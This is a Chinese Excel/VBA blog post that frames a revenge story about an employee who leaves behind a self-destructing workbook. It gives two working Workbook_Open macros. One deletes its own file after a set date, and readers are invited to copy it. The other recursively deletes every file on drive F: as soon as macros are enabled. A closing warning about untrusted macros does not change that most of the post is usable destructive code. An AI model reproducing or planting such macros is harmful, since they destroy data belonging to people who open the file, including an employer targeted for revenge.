当前位置:首页 > VBA&EXCEL > 是时候制作一份自杀or杀人的工作簿了

是时候制作一份自杀or杀人的工作簿了

九天狼6年前 (2019-05-18)VBA&EXCEL2535

1,

……Long Long Ago……

山的那边海的那边……有位Excel高手……他在一家电子商务公司上班。

他有一份Excel工作簿,通过VBA编程将日常工作通通自动化了。他每天闲的除了喝王者农药就是剁手逛淘宝,他主管看他不顺眼,三番两次刁难他。于是他耸耸肩宣布辞职……

临走前,他将那份神奇的Excel工作簿留给了主管。主管觉得那份Excel工作簿真好用,公司没有必要再招新员工了;主管又觉得那孩子真傻,这么好的东西居然白白留给公司,真是个二货啊……

过了几天,主管打开那份Excel工作簿,打算像往常那样鼠标点点处理问题,Excel突然弹出一条信息:

主管一脸懵逼……

然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。

 

如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出就可以了。


Private Sub Workbook_Open()

    If Date >= "2017-10-1" Then

        Application.DisplayAlerts = False

        MsgBox "你好,二货!你相信Excel会成精吗?" & vbCr & "表格我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。"

        With ThisWorkbook

            .Saved = True

            .ChangeFileAccess xlReadOnly

            Kill .FullName

            .Close

        End With

    End If

End Sub


该段代码使用了工作簿打开事件,顾名思义,就是工作簿打开时执行相关代码。它设定的自杀条件是,当前电脑时间大于等于2017101日。您可以根据自身需要进行相应调整……。


2,

聊完了“自杀”,咱们再聊“杀人”……

宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户帐号密码……等等。

以为这很高级?很复杂?和你很遥远?非黑客不能为?

错!

其实这些事儿有时候很简单。

举个小例子。

还记得吗,之前我们分享了批量删除Excel工作簿的小代码。如果借助Excel工作簿打开事件,结合那期的代码,当你启用宏,打开含该代码的工作簿,然后……你就会发现电脑F盘中大量的文件都被删除了。

代码:


Private Sub Workbook_Open()

    p = "F:\"

    Call Killy(p) '调用FSO遍历子文件夹的递归过程

End Sub

Function Killy(p)

    On Error Resume Next

    Application.DisplayAlerts = False

    Set fld = CreateObject("Scripting.FileSystemObject").GetFolder(p)

    Kill fld.Path & "\*.*"

    For Each fd In fld.SubFolders

        Call Killy(fd.Path)

    Next

End Function



3,

今天聊“自杀和杀人”不是为了让大家做坏事……

今天“自杀和杀人”不是为了让大家做坏事……

今天“自杀和杀人”不是为了让大家做坏事……

重要的事情说三遍……

诸君更不要手贱去尝试那段杀人的代码……然后把自己电脑里的文件给杀个透心凉冰冰爽……

聊这些只是告诉大家,不要轻易启用来历不明的宏文件……


就酱紫,握爪说晚安。


如果内容对你有用,请花费几秒钟给个评论!

由于评论审核机制,可能您的评论暂时不可见,不影响查看回复可见的内容!

扫描二维码推送至手机访问。

版权声明:本文由云淡风轻Mr.Liu发布,如需转载请注明出处。

本文链接:https://nylmj.cn/post/84.html

相关文章

VBA常用小代码目录

VBA常用小代码目录

更多实用VBA小代码,请持续关注本公众号,设定中的小代码系列一共有108集哦~0,工作表处理:(点击目录,即可跳转到相关文章,不用回复关键词)VBA常用小代码001:一键生成带超链接的工作表目录VBA...

一大波常用函数公式,值得收藏!

一大波常用函数公式,值得收藏!

《一大波常用函数公式》微信推送后,同学们很是喜爱,今天重发,小伙伴们可以收藏一下,在日常工作中如果有类似的问题,拿来即用。话不多说,上菜——1、查找重复内容公式:=IF(COUNTIF(A:A,A2)...

如何用VBA代码查询两列数据差异?

如何用VBA代码查询两列数据差异?

我们今天和大家分享的内容是如何用VBA代码查询两列数据差异?照例打个响指,举个栗子。如上图所示,查询A列和C列的数据,提取出相同值、A列存在C列不存在的值、A列不存在C列存在的值……查询结果如下图所示...

不做加班狗——批量生成带照片的准考证

不做加班狗——批量生成带照片的准考证

Word提供的邮件合并功能可以帮助咱们轻松的制作工资条、通知书、邀请函、明信片、准考证、毕业证书等等,一般做法是用Word文档做一个模板,将信息的数据源存放到Excel表格里,通过邮件合并建立起表格与...

全了,SUBSTITUTE函数常用套路集合!

全了,SUBSTITUTE函数常用套路集合!

SUBSTITUTE函数是Excel最常用的文本函数之一,在数据分析过程中,常用于字符串的整理和清洗。SUBSTITUTE函数的基础语法是:SUBSTITUTE(要替换的文本,旧文本,新文本,[替换第...

VLOOKUP函数变态用法,74.2%的人不知道

VLOOKUP函数变态用法,74.2%的人不知道

大家好,我是星光。咱们今天继续聊聊VLOOKUP函数,有人问我为啥这么执迷于VLOOKUP函数,聊了一期又一期的。这个说来话就长了,这牵扯到俺的一点小隐私。和很多表亲一样,VLOOKUP是俺掌握的第一...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。